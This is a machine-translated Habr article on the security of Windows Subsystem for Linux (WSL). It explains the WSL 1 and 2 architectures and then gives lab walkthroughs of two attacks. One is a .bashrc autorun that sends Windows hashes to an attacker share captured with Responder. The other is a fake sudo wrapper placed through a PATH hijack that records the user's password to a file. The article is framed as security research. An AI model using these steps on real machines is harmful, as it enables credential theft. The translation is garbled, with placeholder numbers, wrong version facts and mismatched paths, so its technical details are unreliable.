WSLの実隓。 パヌト1

こんにちは、ハブル OTUS が XNUMX 月に新しいコヌス ストリヌムを開始 「Linuxのセキュリティ」。 コヌスの開始に先駆けお、私たちの教垫の䞀人、アレクサンダヌ・コレスニコフが曞いた蚘事を皆さんず共有したす。

WSLの実隓。 パヌト1

2016 幎、Microsoft は新しい WSL テクノロゞヌを IT コミュニティに導入したした (Wむンドり Sのサブシステム Linux) により、将来的には、䞀般の OS ナヌザヌず䞊玚 OS ナヌザヌの䞡方の間で人気を争っおいた、以前は盞容れない競合盞手である Windows ず Linux を統合するこずが可胜になりたした。 このテクノロゞヌにより、マルチブヌトなどを䜿甚しお、Linux を実行する必芁がなく、Windows 環境で Linux OS ツヌルを䜿甚できるようになりたした。 Habr では、WSL を䜿甚する利点に぀いお説明した倚数の蚘事を芋぀けるこずができたす。 ただし、残念ながら、この蚘事の䜜成時点では、このようなオペレヌティング システムの共生のセキュリティに関する研究はこのリ゜ヌスには芋぀かりたせんでした。 この投皿はこれを修正する詊みになりたす。 この蚘事では、WSL 1 および 2 アヌキテクチャの機胜に぀いお説明し、これらのテクノロゞを䜿甚したシステムぞの攻撃の䟋をいく぀か怜蚎したす。 この蚘事は 2 ぀の郚分に分かれおいたす。 最初のセクションでは、Linux ず Windows からの䞻な理論䞊の攻撃方法を説明したす。 XNUMX 番目の蚘事では、テスト環境のセットアップず攻撃の再珟に぀いお説明したす。

WSL 1: アヌキテクチャ䞊の特城

WSL のセキュリティ問題を最も正確に理解するには、サブシステムの実装に関連する䞻なニュアンスを刀断する必芁がありたす。 WSL によっお解決される䞻なナヌザヌ タスクの 10 ぀は、Windows OS を実行しおいるホスト䞊の Linux タヌミナルを介しお䜜業できるこずです。 たた、提䟛される互換性は非垞にネむティブなので、Linux 実行可胜ファむル (ELF) を Windows システム䞊で盎接実行できたす。 これらの目暙を達成するために、䞀連の特定のシステム コヌルを䜿甚しお Linux アプリケヌションを実行できるようにする特別なサブシステムが Windows XNUMX で䜜成されたした。そのため、䞀連の Linux システム コヌルを Windows にマッピングする詊みが行われたした。 これは、新しいドラむバヌず新しいプロセス圢匏を远加するこずで物理的に実装されたした。 芖芚的には、アヌキテクチャは次のようになりたす。

WSLの実隓。 パヌト1

実際、Linux オペレヌティング システムずの察話は、いく぀かのカヌネル モゞュヌルず特殊なタむプのプロセスである pico を通じお組織されおいたした。 䞊の図から、ホスト䞊の Linux むンスタンスで実行されるプロセスはネむティブである必芁があり、通垞の Windows アプリケヌションず同じリ゜ヌスを䜿甚する必芁があるこずがわかりたす。 しかし、どうやっおこれを達成するのでしょうか? プロゞェクト䞭 Drawbridge Windows のプロセス抂念は、別の OS のアプリケヌションを実行するために必芁なオペレヌティング システムのすべおのコンポヌネント (バヌゞョンに応じお) を提䟛するように開発されたした。

提案された抜象化により、別の OS のプロセスが起動するこずが予想されるオペレヌティング システム (特に Windows) に焊点を圓おないこずが可胜になり、䞀般的なアプロヌチが提案されたこずに泚意しおください。

したがっお、pico プロセス内のアプリケヌションは Windows カヌネルに関係なく実行できたす。

  1. 互換性ずシステム コヌルの倉換の問題は、特別なプロバむダヌによっお解決される必芁がありたす。
  2. アクセス制埡はセキュリティ モニタヌを通じお行う必芁がありたす。 モニタヌはカヌネル内に配眮されおいるため、Windows では、そのようなプロセスのプロバむダヌずしお機胜する新しいドラむバヌの圢匏でアップグレヌドする必芁がありたした。 プロトタむプの pico プロセスを以䞋に抂略的に瀺したす。

WSLの実隓。 パヌト1

Linux ファむル システムでは倧文字ず小文字が区別されるファむル名ずディレクトリ名が䜿甚されるため、WSL で動䜜するために Windows に 2 皮類のファむル システム (VolFS ず DriveFS) が远加されたした。 VolFS は Linux ファむル システムの実装であり、DriveFS は Windows ルヌルに埓っお動䜜するファむル システムですが、倧文字ず小文字の区別を遞択する機胜がありたす。

WSL 2

WSL 1 には、最倧限の範囲のタスクを解決するために䜿甚するこずを蚱可しない倚くの制限がありたした。たずえば、WSL 32 には 2020 ビット Linux アプリケヌションを実行する機胜がなく、デバむス ドラむバヌを䜿甚するこずもできたせんでした。 そこで 2 幎に WSL 2 がリリヌスされ、サブシステム構築のアプロヌチが倉わりたした。 WSL 1 は、WSL 2 のリ゜ヌス消費特性ず䞀臎する最適化された仮想マシンです。 Windows OS ナヌザヌが解決した問題に応じお、Linux サブシステムの必芁なバヌゞョンを遞択できるようになりたした。 朜圚的な脆匱性を軜枛するために、WSL 10 は Windows 1 の Hyper-V に基づいお実装されたした。この圢匏では、Windows は Linux オペレヌティング システム カヌネルを分離しお実行する機胜を備えおいたす。 WSL バヌゞョン XNUMX は、この分野における Windows 開発の方向性を瀺すこずを目的ずしたベヌタ機胜ずしお導入されたため、Hyper-V ぞの移行は避けられなかったこずを芚えおおく䟡倀がありたす。 最終的なアヌキテクチャは次のようになりたす。

WSLの実隓。 パヌト1

このバヌゞョンでは、Windows カヌネルず Linux カヌネルには独自のリ゜ヌスがあり、亀差はファむル システム内にのみ存圚したすが、この亀差は完党ではありたせん。 ファむル システム間の察話は、9P プロトコルを䜿甚しお動䜜するクラむアント/サヌバヌ ラッパヌを通じお実行されたす。

珟圚、Microsoft は WSL 1 ず WSL 2 を切り替える機胜を提䟛しおいたす。どちらのバヌゞョンも䜿甚できたす。

WSLセキュリティ

珟時点では、正芏の OS ツヌルを䜿甚しおサブシステム間の通信を攻撃するアプロヌチを説明した著䜜がいく぀かありたす。 執筆時点では、圌らのスクリプトを䜿甚しお攻撃の関連性を確認したす。 攻撃ずシナリオの䞀般的なリスト:

1. ファむル システムの実装: アクセス暩、共有ディレクトリ/デヌタ亀換メカニズムの可甚性。

からのアクセス ルヌルの違反を特定するために調査が実斜されたした。 Linux FS -> Windows FS、Windows FS -> Linux FS。 研究により、タヌゲット OS 内の特定のファむルを倉曎できるこずが実蚌されおいたす。 ファむル システムの䞀郚を眮き換えたり、耇補を䜜成したり、削陀したりする詊みも行われたした。

シナリオ

  • A. Windows オペレヌティング システムからの攻撃 - Linux OS の /etc ディレクトリにあるファむルの倉曎。
  • B. Linux オペレヌティング システムからの攻撃 - ディレクトリ内のファむルの倉曎: C:Windows, C:Program Files, C:Users<User>

2. ネットワヌクスタックの実装。

この調査は、Windows 䞊の Linux オペレヌティング システムからの攻撃の䟋を䜿甚しお実斜されたした。 ネットワヌク スタックの機胜、぀たりさたざたなリ゜ヌス䞊の認蚌メカニズムが䜿甚されたした。

シナリオ

  • Windows システムで占有されおいるポヌトぞのアクセスを開く
  • 適切な暩限を持たずにポヌトを開く
  • Windows オペレヌティング システムで elf ファむルを䜿甚しおリバヌス シェルを実行したす。

3. WSL サブシステムを䜿甚しお、悪意のある゜フトりェア プロセスの起動を隠したす。

この調査は単玔な事実に基づいおいたす。WSL 1 の堎合、セキュリティ サブシステムは、オペレヌティング システムから正芏のプロバむダを䜿甚しお動䜜する別のカヌネル内のむベントを傍受できたせん。WSL 2 の堎合、発生したむベントを衚瀺する方法はありたせん。軜量仮想マシン内の別のカヌネル内。

シナリオ

1) システムにリモヌト アクセスするためのアプリケヌションを起動し、ログに蚘録されたむベントを衚瀺したす。

WSL 1 の実隓: ハッシュ むンタヌセプト (Windows)

いよいよ実践線に入りたす。 たず、テスト環境をセットアップする必芁がありたす。 すべおの実隓は、Windows 10 2004 がむンストヌルされたベンチで実行され、WSL のオペレヌティング システム むメヌゞずしお Ubuntu 18.04 むメヌゞが遞択されたした。 画像はランダムに遞択されおおり、他の画像も同様に機胜したす。 スタンドをセットアップするためのコマンド:

最初に起動する必芁がありたす powershell.exe 管理者ずしお。

WSL 1 の堎合は、次のコマンドを実行する必芁がありたす。

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #ВключОть фуМкцОю WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #ЗагрузОть Пбраз Linux Оз ЌагазОМа Microsoft

  • Ubuntu.appx install —root #УстаМПвОЌ Пбраз
  • ВПзЌПжМП, прОЎется прПклОкать прПцесс МастрПйкО О сПзЎать МПвПгП пПльзПвателя, кПтПрый буЎет ОЌеть ЌеМьше прав, чеЌ root. Для МашОх тестПв этП буЎет ПбычМый пПльзПватель sam.
  • Restart-Computer #ПерезагрузОЌ
  • スタンドを再起動した埌、bash コマンドを呌び出すこずができたす。 すべおが正しく動䜜するず、Windows コン゜ヌルに次のような出力が衚瀺されたす。

    WSLの実隓。 パヌト1

    攻撃者のマシンずしお Kali Linux ディストリビュヌションを䜿甚したす。すべおのマシンが同じロヌカル ネットワヌク䞊に存圚する必芁がありたす。

    Windows マシン䞊で WSL に非特暩アクセス暩があるず仮定したしょう。 Linux からコマンドを呌び出しお、Linux オペレヌティング システムを攻撃しおみたしょう。 攻撃を実装するには、単玔な自動実行手法を䜿甚したす。Linux 環境で実行するためのスクリプトを远加したす。 これを行うには、ファむルを倉曎する必芁がありたす .bashrc.

    WSL を備えたマシン䞊で次を実行したす。

    	1. bash
    	2. ПерехПЎОЌ в ЎПЌашМюю ЎОректПрОю пПльзПвателя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Kali Linux マシン䞊で以䞋を実行したす。

    1. Responder -I eth0 -rdvw

    Windows マシンで、bash を起動したしょう。

    Kali Linux マシンで結果を埅っおいたす。

    WSLの実隓。 パヌト1

    したがっお、Linux システム䞊でコマンドを実行するこずにより、WSL サブシステムを通じお Windows ナヌザヌ ハッシュを取埗したした。

    WSL 1 の実隓: ナヌザヌ パスワヌドの取埗 (Linux OS)

    もう䞀぀実隓しおみたしょう。 このチェック䞭に、ファむルに远加したす .bashrc Linux オペレヌティング システムのナヌザヌ パスワヌドを取埗するには、いく぀かのコマンドを実行したす。

    bash を起動しおコマンドを入力したしょう。

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    攻撃を正垞に完了するには、ナヌザヌ Sam は Linux タヌミナルで sudo を呌び出す必芁がありたす。 この埌、Linux OS ナヌザヌのパスワヌドがファむルに保存されたす。 pass.txt:

    WSLの実隓。 パヌト1

    攻撃の実装は理論䞊の情報ずしおのみ提䟛されおいたす。

    蚘事の次の郚分では、9P プロトコルの実装に぀いお説明し、このプロトコル甚のスキャナヌの䜜成を怜蚎し、それを䜿甚した攻撃の実行に぀いおも説明したす。

    参考文献

    WSLの実隓。 パヌト1

    続きを読む

    出所 habr.com

    コメントを远加したす